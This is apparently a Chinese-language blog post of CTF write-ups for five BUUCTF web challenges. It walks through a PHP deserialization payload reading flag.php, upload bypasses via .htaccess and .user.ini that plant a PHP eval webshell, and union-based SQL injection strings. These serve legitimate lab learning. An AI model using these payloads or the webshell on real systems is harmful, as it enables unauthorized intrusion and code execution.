BUUCTF-WEB(26-30)

Muneyoshi發表於2024-05-22

[MRCTF2020]Ez_bypass

原始碼如下

image-20240521080624099

首先顯示MD5值強比較,我們就用陣列繞過

?id[]=1&gg[]=2

然後後面就用字串繞過,他在解析的時候,會轉換成數值

passwd=1234567a

總的payload

image-20240521080948684

image-20240521080955351

[網鼎杯 2020 青龍組]AreUSerialz

參考:

[網鼎杯 2020 青龍組]AreUSerialz 解題思路&過程-CSDN部落格

開啟題目就是原始碼

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

我們可以看出來是一個反序列化的題。

它需要我們傳遞的引數ascll碼對應的32-125的位置,都是些常見的可列印字元

然後__destruct會判斷我們是不是op=2,我們需要繞過,這個是===,我們直接數字2繞過

然後process裡面,我們進入read(),然後讀取flag.php原始碼

分析完畢,我們開啟php線上

構造完畢後會顯示不可列印字元

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
	protected $content;
}
$a=new FileHandler();
echo serialize($a);

image-20240521082906604

大佬說

檢視網頁原始碼,可以看到有不可列印字元。這是因為序列化後protected型別的屬性存在不可列印字元。(經測試,private型別的屬性序列化後也產生不可列印字元)對於PHP版本7.1+,對屬性的型別不敏感,我們可以將protected型別改為public,以消除不可列印字元。

所以我們把屬性都改成 public,再構造一次

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

bas64解碼得到flag

image-20240521083224167

[GXYCTF2019]BabyUpload

這道題先是過濾了字尾不能出現ph,我們平常用的php檔案字尾,都用不了,所以這個繞不過

還有檔案型別過濾,可以改成 image/jpeg

檔案裡內容不能出現 <? ,那我們就換寫法

<script language="php">eval($_REQUEST['cmd']);</script>

中間我訪問了錯誤地址,發現是apache中介軟體,所以我們這道題可以.htaccess繞過

image-20240522185026736

<IfModule mime_module>
SetHandler application/x-httpd-php    
</IfModule>

然後上傳圖片馬

image-20240522185036255

蟻劍連線找到flag

image-20240522185056494

[SUCTF 2019]CheckIn

參考:

[檔案上傳]淺析.user.ini的利用-CSDN部落格

這道題和上道題差不多,只不過這道題用了.user.ini繞過,多了一個檔案頭檢測

我們檔案頭就加上GIF89a

我們先上傳 .user.ini

GIF89a
auto_prepend_file=shell.jpg

image-20240522185928649

然後上傳shell.jpg

GIF89a
<script language="php">eval($_REQUEST['cmd']);</script>

image-20240522190058975

然後以index.php這個為連線地址,就可以連線蟻劍,找到flag

.user.ini檔案過幾分鐘就會更新消失

image-20240522190810445

[GXYCTF2019]BabySQli

參考:

[GXYCTF2019]BabySQli 1-CSDN部落格

[BUUCTF GXYCTF2019]BabySQli 1 詳解!(MD5與SQL之間的碰撞)-雲社群-華為雲 (huaweicloud.com)

這道題我先試了試

遮蔽了 or =,然後大寫就可以繞過了

所以我們報欄位

1' OR true ORDER BY 3#//正常回顯
1' OR true ORDER BY 4#//錯誤回顯

所以欄位數為 3

然後我想正常注入,注入不行

看了一下師傅們的部落格,說是在登入失敗那個介面裡有個小提示

`image-20240522193046404

然後拿去Cyberchef解密CyberChef

image-20240522193154293

然後發現後臺的查詢語句,我們也是試出來幾個欄位,然後使用者名稱是admin,然後我們看看admin在哪個欄位

試出來發現是第二個欄位

' union select 1,'admin',3#

然後看看原始碼的邏輯,比賽估計沒有,這時候我們學習,還是看看吧

image-20240522194123631

大佬的解釋如下:[BUUCTF GXYCTF2019]BabySQli 1 詳解!(MD5與SQL之間的碰撞)-雲社群-華為雲 (huaweicloud.com)

username資料表裡面的3個欄位分別是flag、name、password。
猜測只有password欄位位NULL
咱們給引數password傳入的值是123
那麼傳進去後,後臺就會把123進行md5值加密並存放到password欄位當中
當我們使用查詢語句的時候
我們pw引數的值會被md5值進行加密
然後再去與之前存入password中的md5值進行比較
如果相同就會輸出flag

然後我們就給 123 MD5加密

202cb962ac59075b964b07152d234b70

payload

' union select 1,'admin','202cb962ac59075b964b07152d234b70'# //username
123 //password

成功拿到flag

image-20240522194431165